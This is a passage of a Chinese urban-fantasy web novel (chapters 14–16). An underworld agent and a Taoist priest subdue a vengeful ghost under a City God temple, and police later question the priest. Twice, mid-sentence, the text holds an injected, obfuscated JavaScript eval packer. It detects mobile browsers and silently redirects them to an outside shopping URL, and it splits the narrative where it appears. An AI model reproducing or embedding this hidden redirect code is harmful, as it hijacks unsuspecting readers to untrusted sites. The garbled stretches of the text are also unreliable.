凌虚道长刚落地就吐槽:“我去,这么黑?这黑灯瞎火的,上哪儿找恶鬼?” 通道前方传来血腥气和刺骨的冷气,“得,不用找了,顺着气息走就成。”他迈开腿,朝通道深处走去。 “噗——”凌初被女鬼一掌掀飞,直接撞到石壁上,吐出一口淤血。她衣服破了好几个洞,胳膊和腿都有伤口,艰难起身,忍不住道:“大姐,我就随便过来看看,没惹你吧?” “打扰我儿安宁,就得死!” 好吧,跟疯女人是没有道理可讲的,既然讲不通,那就只有打了。 凌初催动寻鬼镯,召出缚魂锁,“去!” 无形的缚魂锁直冲女鬼面门,她立刻向后退,锁链紧紧跟上。凌初绕了两圈缚魂锁,握住一头,猛地甩向女鬼,撕下来一块红布料。 “啧!”凌初不悦,再挥缚魂锁,一道锁链,让她玩得跟鞭子似的。 “可恶!”女鬼发了狠,伸手招来一柄长剑,剑刃还有斑斑血迹。 “杀人凶器还留着呢!用来睹物思人?”凌初嘴上不停。 “找死!” 不知道是哪个字触动了女鬼敏感脆弱的神经,她甩出一道剑花,将缚魂锁斩断。结果刚斩断,那锁链又重新凝聚到一起,凌初乐了,笑嘻嘻道:“嘿嘿,这可是阴司之物,凡器斩不断的。” 女鬼听后,更加暴躁了,直接挥出数道剑光,携着怨气,狂风暴雨般全朝凌初袭来。 “……”还能这样? 凌初羡慕了,瞧瞧人家孤魂野鬼,在阳世修行都能有这等本事?那些在阴司凝聚阴华之力还修行缓慢的鬼修,真是白瞎了天时地利。 凌初旋身跳起,蹬上石壁凸起的几块石头,借了几次力,躲过这波剑雨。 二鬼还未有动作,那剑雨直接将石壁砍穿,土石哗啦啦落下,一道紫袍身影显现出来,只是动作有些奇怪,撅着屁股不知道准备干什么? 凌虚正准备钻洞,结果猝不及防被动登场,他立刻起身,整理了下衣服,半点儿也不尴尬,挥手道:“Hello?” 14. 黑白无常 “Hello?” 凌初无语,李善言找来的道士还挺洋气的。 见没有回应,凌虚道长又道:“这里有人吗?” 对,没有人。 凌虚看着眼前二位,一个是身上阴气冲天,一个怨气弥漫,可都不太像活人啊?李家小子说的同事不会已经没了吧? 凌初一手擦去嘴角血迹,气笑了,“老道士,李善言叫你过来是干什么的?” 哦?同事是她?阴差? 凌虚恍然大悟,行了个礼,“阴差莫急,我是来帮你的。” “……”凌初咬牙切齿憋出了一句:“你最好不是来帮倒忙的!” 凌虚“哈哈”一笑,“放心。”紧接着做了个手印,念道:“天地自然,秽炁分散……魔王束首,侍卫我轩;凶秽消散,道炁常存。急急如律令。[7]” 一道金光凝成的巨大手掌径直朝红衣女鬼拍过去,女鬼躲避不及,再度挥剑,又是一阵漫天剑光袭来。 剑光与虚掌对抗,你进我退,你退我进,凌初瞅准机会,甩出缚魂锁,猛地砸向女鬼。 女鬼大惊,急忙挥手抵挡,这时凌虚趁机又是一掌,女鬼难以招架,直接被打飞了,身体重重撞到木屋上,历经几百年安然无恙的木屋,门窗轰然倒塌了一半,扬起漫天尘土。 凌初与凌虚道长对视一眼,二人都没有放松,这女鬼很难缠啊。 “咳咳!”女鬼从一片狼藉中站起来,身形晃动,周围黑气少了许多,手上不知拿了一个什么东西,脸上露出一个扭曲的笑容。 凌初眼尖,看出了那东西是一个小小的红色拨浪鼓,顿时亡魂大冒,不好,这玩意儿不会是八百年前她小女儿的拨浪鼓吧?一瞬间闪现到凌虚跟前,凌虚正要说话,“阴差……” “听我说。”凌初打断,伸手一指穹顶,“你有没有办法破坏上面的阵法?我联系不上阴司的鬼,得找帮手来!” 凌虚抬头望去,眼睛微眯,这阵法挺有意思的!“我试试。”他从袖中抽出两张黄符,手指再度结印,默念了句口诀,黄符无火自燃,离开凌虚的手,飘向上空。 “咔嚓”女鬼脚下传来一声异响,凌初和凌虚同时看过去。 女鬼微愣,抬脚,一小段白骨碎裂,陷入泥土中。再看旁边熟悉的衣物,八百年了,这小小的身影她日日回想,不敢遗忘。 “我的孩子——”女鬼撕心裂肺地惨叫起来,无数黑气从她口鼻中涌出,黑气中出现一个个骷髅影子,张牙舞爪而来。 “原来如此。”凌初如遇当头棒喝,盘桓在脑海中乱糟糟的疑云,瞬间烟消云散。 “怎么了?”凌虚不解。 “这女鬼力量如此强大,是因为她修炼的方法很残忍。” “什么方法?” 凌初的眼神冷下来,漠然回答:“吞吃生魂。”此乃阴司无赦之罪,当处魂飞魄散之刑! 凌虚深吸了一口气。生魂,顾名思义,即并非因阳寿已尽形成的鬼魂,而是命格薄弱或者八字属阴,遇上恶鬼缠身或是其他诡谲之事误入幽冥的魂魄。这类魂魄,只要找到道法高深的高人,在一定时间内将魂魄召回即可,否则,生魂就真的变成了鬼魂。 而吞吃生魂,无异于吞吃活人,好心狠手辣的女鬼! 但吞吃生魂的恶鬼,是怎么“活”到现在还没被阴司发现的?如此异象,几百年来,竟然没有修行之人发现?这可太诡异了。 凌虚觉得自己好像发现了修行界的大秘密。 女鬼已经疯了,骷髅鬼影咆哮而来,凌初一个缚魂锁甩过去,打散了几个鬼影,扭头催促:“老头儿,上头阵法破坏了没有?” 凌虚一边躲避鬼影一边不要钱似的往外掏黄符,闻言撇嘴:咱俩谁大还不一定呢?口中却道:“马上马上!”抬眼一看,飘到穹顶的黄符已经燃尽,余下的灰烬自动附上阵法所在的石壁,刻着阵法的石头哗啦啦掉下来,他大喜,“好了!” 凌初神识中气十足地大喊:“崔判,救命啊!” 崔珏还未说话,另有一道神识回应了她,“别嚎了,堂堂阴差,成何体统!”那声音毫不客气道。 “呜呜呜……谢爷,您可来啦。”凌初惨兮兮地说。 谢必安没回应,一个斯文温吞的声音慢悠悠道:“小凌初,别急,这就到了。” 话刚说完,一黑一白两道鬼影从天而降,正是鼎鼎大名的黑白无常——黑无常范无救,白无常谢必安。 凌虚在一旁目瞪口呆,真把大佬招来了?! 凌初简直要喜极而泣:“谢爷、范爷,你们终于来了!” 谢必安看了凌虚一眼,凌虚立刻行礼,“二位无常,鄙人有礼了。” 谢必安颔首,对着凌初骂道:“没出息!注意点儿阴司形象!” 范无救急忙劝解:“好啦好啦,正事要紧。”说完直接挥袖,两道黑气分别向着凌初和凌虚奔去。这黑气与女鬼的怨气不同,力量纯粹、厚重,乃是正儿八经的鬼神之力。 被范无救的黑气绕了一圈后,黑气直接进入凌初眉心,她明显感受到自己的伤势在慢慢好转。 这边黑气绕了凌虚一周,又回到范无救身上,凌虚刚才还腰酸背痛的身体眨眼间就好了,腰不酸了,腿不疼了,他还能跟这女鬼大战三百回合! 谢必安不带有一丝感情地看向女鬼,冷声道:“大胆恶鬼,修炼竟敢吞吃生魂,罪应魂飞魄散!”话音刚落,便甩出勾魂索,勾魂索自动绕了一个圈,套中女鬼身体,紧接着他往旁边一甩,一道鬼影随着勾魂索一同被甩到旁边。红衣女人身体软软倒下,昏了过去。 “哇!不愧是勾魂索!”凌虚在一旁大声叫好。 凌初无语地看着他,道:“无常都有勾魂索,但不是每个无常的勾魂索都有如此威力的。” “哦,还是得看使用的人是谁,我懂!”凌虚一副了然的神情,看了眼凌初手上的缚魂锁。 凌初忽然读懂了他的神情,面无表情张口:“不,你不懂。” 我这不是勾魂索!!!法宝等级不一样!!! …… 范无救闪身来到红衣女子身边,手指一动,昏迷的红衣女人就悬空浮起,悠悠来到凌初面前,“抱着。” “啊?”凌初虽不解,但还是伸手抱住女人,忍不住开口:“范爷,为什么我抱啊?” “尊老。” “哦。”凌初默默应了,转身冲着凌虚一字一句道:“嗯,我、尊、老。” 两个阴差的对话仿佛无形的刀,在凌虚道长的心口上插了一刀又一刀,恶语伤人六月寒啊,哦,不对,是三月寒! 女鬼鬼魂已经不成样子了,黑黢黢的一团,五官不辨。 范无救踱步来到谢必安身边,挥手,一道金光闪过,虚影渐渐凝实,一个女人的身形渐渐浮现,荆钗布裙,未施粉黛,挽了个妇人发髻。 女鬼双眼布满怨毒,心有不甘,大声质问在场众人(鬼):“为什么?为什么要破坏我孩子们的安宁。他凭什么要用我们的性命,成全他世代忠君爱国的名声!” 勾魂索能传递鬼魂的七情六欲,谢必安对此早已见怪不怪,心如止水。听了女人的质问,面不改色:“你不也杀了他报仇吗?” “杀了他又怎样!”女鬼愤怒,“他该死!凭什么他死后众人颂扬,而我和孩子们,永困此地,无人记得,无人祭拜,不得往生。我恨啊,我恨啊……呜呜呜。”她小声啜泣,继而号啕大哭。 “所以这就是你吞吃儿女魂魄的理由?”谢必安依旧一脸平静。 凌初和凌虚脸色大变,不可置信地盯着女鬼,啥玩意儿?她把孩子魂魄吃了? “是!我是吞了他们的魂魄,否则我根本无法离开,用不了多久就会灰飞烟灭。”女人振振有词。 凌虚忍不住了,“歪理邪说!活人死后,自有阴差前来引渡魂魄,去往阴司投胎转生。你为什么不去阴司?” 女鬼笑了,“消除记忆,转世为人吗?我不愿意!我要看着他牺牲妻儿护下来的这座城池,究竟能变成个什么样子?!” “如你所见。”范无救道。八百年过去,时移世易,当初的卫川已经变成如今的“新城市”,将军府邸也变成如今的城隍庙。 谢必安再度开口,语气讥讽,“你以为,无人帮忙遮掩,凭你一个孤魂野鬼也能在人间逗留八百年?” “什么意思?”凌初和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16940477|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌虚同时问道。 范无救召出哭丧棒,敲了三下地面,三道金光依次渗入地底,他沉声:“此地城隍何在?” 凌初身后通道传来脚步声,她回头看,只见一位英俊高大的男人缓步走来,身着州城隍冕服,神情奇怪。 被勾魂索束缚的女鬼一见他就挣扎起来,破口大骂:“你还敢来见我?你有何脸面来见我?!” 城隍站到黑白无常面前,抱拳行礼,然后看向女鬼,“夫人,是我。” 哟,渣男当事鬼还在啊?还混成了城隍?!凌初开启吃瓜模式。 范无救将勾魂索套中城隍,“你可知罪?” 城隍苦涩一笑,“属下知罪。” “身为城隍,却包庇亡妻鬼魂吞吃生魂,知法犯法,罪加一等。本差带你赴阴司判官司,听候待审。可有不服?”谢必安公事公办道。 “没有。属下愿意受审。”城隍没有辩解。 “如此,尔等随我赴阴司去!”范、谢二位说完后,各自一拉勾魂索,各自踏出一步,便消失不见了。 “这就走啦?”凌虚问凌初,又奇怪道:“你怎么不走?” 凌初没搭理他,收敛了气息,刚才还冲天的阴气直接消弭无形,抱着红衣女人就往回走。 凌虚道长长这么大,还是头一次看到阴差阴气瞬间消失,阴气消失了,这不就相当于活人?不对啊,阴差装成活人是要干什么? …… 城隍庙的游神队伍由城隍礼队以及舞狮队、舞龙队、英歌队等组成,所到之处都引来无数游客驻足观看。绕了一大圈后,敲锣打鼓声越来越近,城隍祭典就快开始了,师傅怎么还不回来? 凌虚道长的徒弟急得像热锅上的蚂蚁团团转,绕着枯井走了几十圈,正准备报警的时候,身后忽然传来一声,“你好!” “妈呀!”徒弟被吓了一跳,手机差点儿从手上飞出去,他手忙脚乱抓住凌虚道长的手机,慢慢转身,眼前男人气质凌冽,眸光锐利,叫人不敢看他眼睛。 陈遇在城隍庙已经走了一圈,都没看到凌初的身影,他不禁开始怀疑,这家伙不会是遇到什么危险了吧?还是迷路了?最坏的结果,是畏罪潜逃! 刚来到花园,就看到这有一个小道童,便过来打听一下。 “你、你、你好,有什么事儿吗?”徒弟结结巴巴道。 “请问有见到一个女生吗?二十多岁,身高一米七左右,穿黑色风衣,高马尾。” “没、没、没见过。”徒弟满头大汗,强装镇定。 “哦,那能帮我播个寻人广播吗?我记得你们庙里有广播功能。”陈遇继续问,心道自己有这么可怕吗?把这小道童都吓成这个鬼样子了! “不、不、不行,我要在这儿等人!” “等谁?” “不能告诉你!” 陈遇:“……???”他还想再说什么,身后传来杨帆的声音,“陈队,你怎么在这儿?” 陈遇回头,“杨队,你们怎么也过来了?” “哦,游神队伍回来了,宋局让我过来找凌虚道长过来主持祭典。明山小道士,凌虚道长呢?” 明山急得快要哭出来了,“师父有事儿要办。” 杨帆脸上笑容收起,板着脸道:“明山道长,凌虚道长去哪里了?这么大的祭典,他应该有分寸,是不是遇到什么不测了?快说,不要耽误救援时机!” “呜呜,师父去抓恶鬼了!” 在场三名警察:“啊?干什么去了?” “呜呜呜……”明山只顾着哭了,谁料身后枯井传来女声:“哭什么哭!你师父还没死呢!” 声音一出来,明山跳起来,“呜哇呜哇”大叫,“有鬼哇!” 谁料井下又传来一声,“呸呸呸!这话不吉利,咒我呢?!” “这、这好像是凌虚道长的声音?”刘景行不太确定。 然后他们睁大双眼,先看到一个狼狈的黑衣女人从枯井里爬出来,背对着他们,又从井下捞起一个红衣女人,放到一边,紧接着,又拽出一个灰扑扑的紫袍老头,正是凌虚道长。 黑衣女人这才回头,陈遇不受控制叫出声:“凌初?” 15. 不正常的解释 “凌初?” 凌初:“……”这就有点儿尴尬了。 但有人毫不介意,凌虚整理了一下身上袍子,乐呵呵开口:“哟,都在啊?” “师父!”明山扑过去,抓着凌虚的道袍,鼻涕一把泪一把,“呜呜呜……师父你可回来啦?我、我还以为你被恶鬼抓走了!” “嗐,要抓也是我抓她啊!”凌虚摸了摸明山的大脑门儿安抚道。 明山抬头,瞟了眼红衣女人,又看下凌初,期期艾艾道:“这两个都是你抓的女鬼吗?” 凌初:“……” 陈遇:“……” 杨帆:“……” 刘景行:“……” 凌虚一把捂住自己徒弟的嘴,冲凌初赔笑:“童言无忌、童言无忌啊,您别跟他一般见识!” 现场陷入诡异的沉默之中。 城隍庙外,鼓乐声声,爆竹“噼里啪啦”炸响,游神队伍已经到门口了! 凌虚讪笑:“我先去换个衣服,祭典办完之后再跟你们说啊。”拖着徒弟转身就跑。 “现在可以告诉我是怎么回事了吧,凌顾问?”陈遇抱臂。 凌初眼睛骨碌碌一转,将所有事都推到红衣女人身上,她煞有介事道:“陈队,我跟你分开后,来到小花园,发现这女人偷偷摸摸地想要跳井,我以为她不想活了,于是冲过来救她。结果她不是,跳下枯井后,发现了一个密道,你猜密道之后是啥?” 陈遇没吭声。 刘景行十分捧场,举手道:“武林秘籍还是神秘宝藏?” “……差不多,是一个八百年前的古墓,有翡翠树干和金银做成的树叶!这女人想要盗墓,我和凌虚道长一起将她绳之以法!” “哦——”刘景行拖长声,十分配合凌初。 捧哏终于引起了凌初注意,她问陈遇:“这二位是?” “我来介绍。”刘景行一马当先,指着杨帆,“杨帆,牧野分局刑侦大队大队长;我,刘景行,景行行止的‘景行’,副大队长。你好,凌顾问。” “你们好,杨队、刘队。”凌初微笑,先后与杨帆、刘景行握了手。 陈遇正要说话时,远处传来大叫,李善言跑了过来,“祖——凌顾问,你没事吧?”他看清楚这几人后直接硬生生改口。 凌初语气轻松,“没事,盗墓贼已经抓住了!” 李善言双眼迷茫,“盗墓贼?”而后瞧见凌初冲他挤眉弄眼,装作恍然大悟的样子,“哦,是是是,盗墓贼!凌虚道长嘞?” “主持城隍祭典去了。”杨帆开口,若有所思盯着他,新人? 陈遇看到了杨帆的目光,介绍了一下,“李善言,前几天刚入职,刑警学院的,跟刘队一个学校。杨帆,牧野分局大队长,刘景行,副队长。” 李善言立马站好,敬了个礼,严肃道:“杨队、刘队。” 刘景行一把勾过李善言肩膀,露出一个痞痞的笑容,“师弟呀,我是你十年前毕业的警院师兄。” “师兄好!”李善言点头如捣蒜。 “行了!”陈遇走到枯井边,问凌初:“这下边有古墓?” 覆在枯井上的结界随着城隍的离开而消失,在陈遇看来,枯井之下黑洞洞的,仿若深不见底。那他们二人是怎么上来的? “嗯。” “那你给张小曈打个电话,让她通知一下魏局。”陈遇不带一丝起伏说道。 “啊?队长你没带手机?”凌初不解。 刘景行突然笑出声,“凌顾问,咱们陈队让你打电话你就打吧,昂!” 莫名其妙! 凌初从兜里摸出手机,刚解锁界面就冒出来一连串红色的未接电话,呼叫的人都是同一个,就在自己眼前。她脸色“刷”一下就红了,解释的理由很苍白无力:“不好意思啊陈队,我刚没听到。”说完往边上走了几步,打给张小曈。 “凌初姐?什么事?”张小曈刚回局里,屁股还没坐热。 “小曈,我在城隍庙枯井下边发现了一个古墓,你跟魏局报告一下,派人过来。” “哦,好的。”张小曈一瞬间就接受了凌初的消息,挂电话后就“噔噔噔”上楼找魏局。 魏局听后,打电话上报市局,市局又联系到新城市考古研究院的人。没过多长时间,研究院人员和市局的干警们一起来到了城隍庙,拉起了警戒线。城隍庙内游客未散,枯井之下有古墓的事情不胫而走,又为新城市城隍庙的故事添上了一笔神秘的色彩。 陈遇一行人早就离开了,离开之前,特意让李善言跟凌虚道长联系,祭典过后,别忘记来红旗分局做笔录。 …… 凌初回到红旗分局时,收到了四面八方的关注,食堂的大爷和大妈都特意跑到办事大厅来看她,一个个笑容慈祥得很! 凌初觉得有点丢脸,匆匆忙忙回到自己位置上,结果就看到李善言肆无忌惮地大笑。小伙子,你很嚣张啊!她伸手,往自己脖子上比划了一个“割喉”的动作,威胁:“再笑就把你灭咯!” 狠话刚放完,结果被一件外套兜头罩住,凌初刚想发脾气,结果传来陈遇的声音,“去卫生间把衣服换一下!” “哦。”凌初默默去换衣服了,临走时伸手指用力点了点李善言。 李善言点头,闭上嘴,手做了个拉拉链的动作。 凌初回来的时候路过法医室,碰到霍熹。 霍熹绕着她走了一圈,摸着下巴道:“你穿他衣服还挺合身的。” 凌初看了眼身上的卡其色风衣,道:“还行吧,稍微长了些。”然后意识到了什么,问霍熹:“霍法医,你知道这是谁的衣服?” 霍熹嗤笑,扬言:“把办公室当家的人,全分局就他自己。” “可我听说你也经常加班啊。” 霍熹转身,语气有些骄傲又有些嫌弃,“我不一样,我是把法医室当家用!” 凌初:“……”请问这有什么区别呢?! …… 下午四点,凌虚换了一身衣服,来到了红旗分局。 凌初差点儿没认出眼前的帅老头儿,凌虚长得浓眉大眼,绾了发,胡子特意打理的一丝不苟,穿一身黑色唐装,派头十足。“这跟城隍庙的是一个人?” 凌虚先看到了她,一个箭步冲到凌初面前,“凌顾问,你好啊!”这阴差竟然是警局顾问?羡慕啊,看看人家,阴阳两界都有编制! “你好。”凌初态度冷淡。 “???”这才多久,就变脸了?凌虚面带迟疑,悄声问:“你真实身份被警察发现啦?” “……”凌初懒得搭理他。 老头儿锲而不舍,还想继续追问,身后传来陈遇的声音,“凌道长,请跟我来。” 凌虚登时站直了身,装模作样的咳嗽了一声,转身面向陈遇,故作矜持点点头,“陈队长,你好。” “这边请。李善言,一起过来。” “好的,陈队。” 凌虚跟着陈遇上了二楼会议室,“凌道长,请坐。”陈遇给他倒了杯水。 “谢谢。” 凌虚刚喝了口水,陈遇便说:“凌道长,古墓下面发生了什么?那个女人为什么要去?” 凌虚放下杯子,神色十分古怪,问他:“陈队长是想听正常的解释还是不正常的解释?” “什么叫正常的解释?” 凌虚背往后椅子上一靠,平静道:“这女人精神有点儿问题,故意破坏文物。” 这算什么正常的解释?陈遇如此想到,又问他:“那不正常的解释呢?” 凌虚很意外陈遇竟然会继续问,两只手搁在桌上,身子往前探,好像是要跟他说悄悄话一般,故意阴森森地说:“不正常的解释,就是她被恶鬼附身了,想要伤人,所以我去把她制服了。” 李善言听到后大惊失色,头都要摇断了,在陈遇看过来后立刻恢复正常,装作一副若无其事的样子,实则心在“噗通噗通”狂跳,抓鬼这事怎么能说出来呢?! “……”陈遇无言,这个回答确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16943815|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太正常,当然不是女人不正常,而是这位凌虚道长不太正常。 凌虚一看他神色,便知道他不相信,一摊手,“我就说了这个解释不正常,你非要听。” 李善言松了口气,还好队长不相信。 “凌道长,我理解你有宗教信仰,但我们崇尚科学。”陈遇一本正经道。 “我也崇尚科学啊,我还是中科院的研究生呢!”凌虚一脸不服气。 “哈哈,是嘛。”陈遇尬笑,心说我还真没看出来呢!不过,他看了眼李善言,李善言会意把询问笔录给他瞧,嗯,只记了正常的解释,也只能这样了。 三人从会议室出来,就看到赵凭跃刚从医院回来,“陈队,有新情况汇报。” “来我办公室说。凌道长,慢走。” “哎,没事没事,陈队长你忙去吧。” 李善言陪着凌虚下楼,随口扯了个话题,“你就是李蒙的儿子?当了警察,政审是怎么过的呀?” “凌道长,我家人都是从事正经职业的,三代直系亲属,没有任何犯罪记录。”李善言微笑。 “那不查宗教信仰?” “不好意思,我是党员,信仰中国共产党。” “哦。那怎么入的党啊?” “大一入学交了入党申请书,先成为积极分子,然后是预备党员,最后转正。”李善言的笑容已经快维持不住了,这凌虚道长问题怎么那么多? “哦。”凌虚淡淡应了,抛出一个重磅炸弹,“你跟阴差是怎么认识的?” 李善言脚下一滑,急忙扶住楼梯栏杆,正好这时霍熹喊他:“李善言,来法医室一趟,帮我搬个东西。” 李善言如同抓住一根救命稻草,从没觉得霍法医的声音如此动听,忙回了一句:“好的,霍法医,我这就来。”回头一脸歉意地对凌虚表示:“凌道长,我就不送您了,您慢走。”说完就飞快溜走了。 “切,我自己问阴差去!”凌虚不屑,下楼去找凌初了。 结果来到凌初位子旁傻眼了,人呢?他问一旁张小曈:“警察同志,你们凌顾问呢?” 张小曈忙得很,头也没抬说:“凌初姐不舒服请假回家了。” 阴差有什么不舒服的?水土不服?凌虚恹恹走了。 …… 陈遇办公室,赵凭跃和陈遇相对而坐。 “什么事?” 赵凭跃答:“城隍庙的女人醒了,她说她不是盗墓贼。” “那她去城隍庙干什么?” “祈福。” 这个答案令陈遇很惊讶,“给谁祈福?” “给她二十年前遗弃在城隍庙的女儿祈福。”赵凭跃对这个回答也很意外,都已经遗弃孩子二十年了,忽然去给她祈福,怎么想都很怪异?动机是什么?他也问了女人,“她说这段时间老做噩梦,梦里是她女儿哭着喊妈妈,还说女儿满身鲜血,说她在地府过得不好……她怕是女儿的鬼魂缠上了她,所以过来祈福。”说完赵凭跃就闭嘴了,表情复杂。 “怎么了?”陈遇问。 “那个女人特意买了城隍庙的‘护身符’,是专门驱邪避祸的黄符。” 陈遇也沉默了,遗弃了女儿,梦到女儿鬼魂,说是祈福,实际是为了自己驱邪,天底下怎么会有这样的母亲呢?再说,难道孩子就真的死了吗? “好,我知道了。给她抽个血,把她DNA上传到数据库,看能不能找到她女儿吧。如果找到了,后续是否要以遗弃罪起诉,看她自己吧。” “如果没有找到呢?” “那就把这案件移交给检察院,提起公诉。” “是,陈队!”赵凭跃站起来向他敬了个礼。 陈遇同样敬礼。 …… 凌初并没有回家,而是去了城隍庙,关于女鬼和城隍她还有一些事情,需要找崔判问清楚。 她这一回熟门熟路地回到了阴司。 刚进阴司就遇到了黑白无常,真心地打了个招呼:“谢爷、范爷。” 16. 万鬼之王 “谢爷、范爷。” 谢必安和范无救前脚刚把新城城隍和他夫人交给罚恶司钟馗大人,后脚凌初就跟上来了。谢必安奇道:“你如今比之前忙了不少。” 这话不知道是讽刺还是夸赞,凌初硬着头皮答了:“为阴司效力,职责所在!” “哈哈哈哈……”谢必安大笑,范无救也抿起嘴。 凌初心虚得很,急忙道:“我找崔判有事,先告辞了。”话刚说完,就化成一缕轻烟,消失在黑白无常面前。 “啧,小鬼跑得挺快!” “谁让你老吓唬她!” “有吗?” “……”幼稚! …… 阴律司大殿,崔珏看到凌初的身影毫不意外,他镇定地端坐于大殿之上,甚至萌生出“果然如此”的想法。 凌初照旧幻化出一把椅子坐下,然后意有所指道:“崔判,你有没有什么要对我说的?” 崔珏先前已经从黑白无常处听说了凌初在城隍庙内的“丰功伟绩”,也震惊于新城州城隍的胆大包天,不过,都没有眼前这场面棘手。鬼丫头那小心思他早就摸得门儿清了,这次回阴律司明摆着是过来要好处的。 崔珏也不废话,直言:“别让我猜谜,有什么要求就说!” 凌初听后立刻起身,拱手一拜,接着道:“崔判,我想解除禁锢修为的封印。” 崔珏没说话,前往阳世捉拿恶鬼的阴差们,都被阴司下了一道禁锢修为的封印,以免造成人间动乱。 但凌初这要求,实在有些难办,不是因为她行事鲁莽,不易管控,而是因为她天生魂体便能吸收阴华之力,修炼速度极快,这样做的后果有利有弊。 有利的是,修为增涨极快,能提高凌初在阴司的办事能力和水平;至于弊端,只有一个,吸收的阴华之力多了,她便偶尔会出现无法掌控阴华之力的局面,一旦出现这种情况,阴华之力外泄,积聚的力量非常恐怖。 崔珏抬头看了看阴律司大殿屋顶,昔日阴华之力外泄的场面历历在目,那可是把我阴律司大殿的屋顶都掀翻了啊! 须知,在阴司,有如此能力的差不多都能赶上十殿阎罗的水平了。 他是真怕凌初在阳世闯出什么惊天动地的祸来! 就在他思虑之际,凌初这边又换了花样,她柳眉微蹙,嘴角狠狠往下撇,用力掐了一把胳膊内侧,挤出两滴泪花,故作忧伤道:“崔判,我可是差点儿就交待在城隍庙了啊!呜呜呜……崔判啊,我差点儿就见不到你了啊啊啊……” 崔珏:“……”倒也犯不着这么拼演技吧。 他正准备开口教训,想让凌初收敛点儿,脑中识海忽然传来阴司第一殿殿主——秦广王的声音。 “崔珏,允。” “是。” 然后崔珏假装纠结,愁眉苦脸了一番,才对着凌初道:“好,依你。”说完拿起判官笔,在虚空中画了一个大印,再一甩,“去!” 凌初身上一阵金光闪烁,而后消失。她觉得魂体一轻,顿时神清气爽,感受着充沛的阴华之力,禁锢解开了! 凌初大喜:“多谢崔判!”紧接着又说:“那城隍和女鬼,是什么情况?” 崔珏摇头,鬼在钟馗那边,还没审呢。 “对啦,崔判,阴阳界则长什么样子?”她满眼期待望着崔珏,希望他能给自己指点迷津,才不承认自己上回来阴司是忘了问这件事。 “没见过。” “……”这回答在凌初意料之外,她犹不死心,又问:“那该怎么找它?” “不知道。” 凌初已经面无表情了,最后问了一个问题,“阴司还有其他知道阴阳界则的鬼神吗?” “不清楚。” “……”凌初没脾气了,要你何用!这也不知道那也不知道,她心中腹诽道。 崔珏看她样子就知道这小鬼肯定又在蛐蛐他,但他向来是个宽容大度的上司,从容起身,袖袍翻飞,化作一道流光离开了阴律司大殿,随她去吧。 行,现在离开连招呼也不打了是吧?!凌初转身,愤愤离开,她找孟姐去! …… 轮回司,孟婆依旧守着她那口大锅。 凌初鬼未至声先到,“孟姐,我来看你啦!” 孟婆拿勺的手一抖,险些将锅底砸裂,这丫头今儿又是抽了什么风?这么快就抓完恶鬼了?没听说啊? 凌初此鬼,向来无事不登三宝殿,今日来她轮回司,不知是想干嘛? “孟姐,最近孟婆汤有研发出新的味道吗?来点儿尝尝?”凌初一点儿也不见外。 孟婆顺手给她舀了一碗递过去,试探道:“恶鬼抓完了?” 凌初直接一碗干了,咂摸咂摸味道,“哪能啊!啧,有点辣。”她吐了吐舌头,又把空碗递回去,“再来一碗。” 孟婆:“……最后一碗了哦,清明马上就到了,这是给准备投胎往生的鬼魂们准备的。” “知道了,小气。”凌初急忙接过第二碗孟婆汤,这次只抿了一小口就放下。 从未见过如此厚脸皮之鬼! 孟婆丢下汤勺,坐到凌初对面,目不转睛盯着她,片刻才说:“恶鬼没抓完,你怎么回来了?” 东岳大帝保佑,让这家伙在阳世多待一段时间吧。 凌初伸手,银光闪过,一朵血红色的彼岸花从忘川河边悠悠飞来,直直落在她手中,细细把玩了一番才开口:“孟姐,打听个事儿,阴阳界则长什么样子?” 孟婆一脸心痛,我的花! 结果一听凌初要问的事儿,表情“唰”一下就变了,神情一下子变得很凝重。 有戏! 不愧是孟姐,果然是阴司资历最老的鬼神之一,比崔判博学多了! “我听说时,阴阳界则还是一个正八面体,通体透明,隐隐有五彩流光,大小嘛,就跟指甲盖儿差不多。”孟婆仔细回想记忆中看到的文字,毕竟已经过了上千年啊。 凌初脑海中已经按照孟婆的话勾勒出阴阳界则一个大概的样子,完全没有注意到第一句话,刚想继续问她,结果被孟婆一句“不知道现在会是什么样子”打懵了,出声问:“什么意思?” “阴阳界则由开天神斧碎片炼制而成,开天神斧乃神器,神器都是会随时变幻样子的啊。”孟婆面露不满,看凌初的目光中布满责备,似乎在谴责凌初的不学无术。 凌初顾不上反驳,瞬间破防:“那该怎么找这东西?” “碰运气呗!”孟婆满不在乎道,眼见着凌初精神萎靡下来,才不急不缓地说:“十殿阎罗已经在想办法了,看能不能炼制出个什么器物,用来寻找阴阳界则。” 凌初闻言松了一大口气,虽说她是不太想在阴司干活,但也没打算一辈子呆在阳世。 阴阳之别,还是界限明确为好。 凌初还想再说些什么,就感受到了识海波动,谁在喊我? 断断续续的声音传来,“凌……凌、凌顾问——祖宗?阴差大人……”是李善言的声音!出什么事了?凌初喝完孟婆汤,将那朵彼岸花放到桌上,迅速道了个别,“孟姐,下次再来找你。”没等孟婆回答便一个脚步,踏出轮回司。 孟婆:“……”她总是来去匆匆。 “不过,她……”孟婆将凌初把玩后的彼岸花丢到汤锅中,滚烫的汤水瞬间把彼岸花烧化,“这阴华之力,可不能浪费。”神识敲了敲某位鬼神,识海一阵波动后,儒雅的男声道:“孟婆大人,寻我何事?” “崔判,凌初身上的封印怎么解开了?”孟婆的声音中暗含担忧。 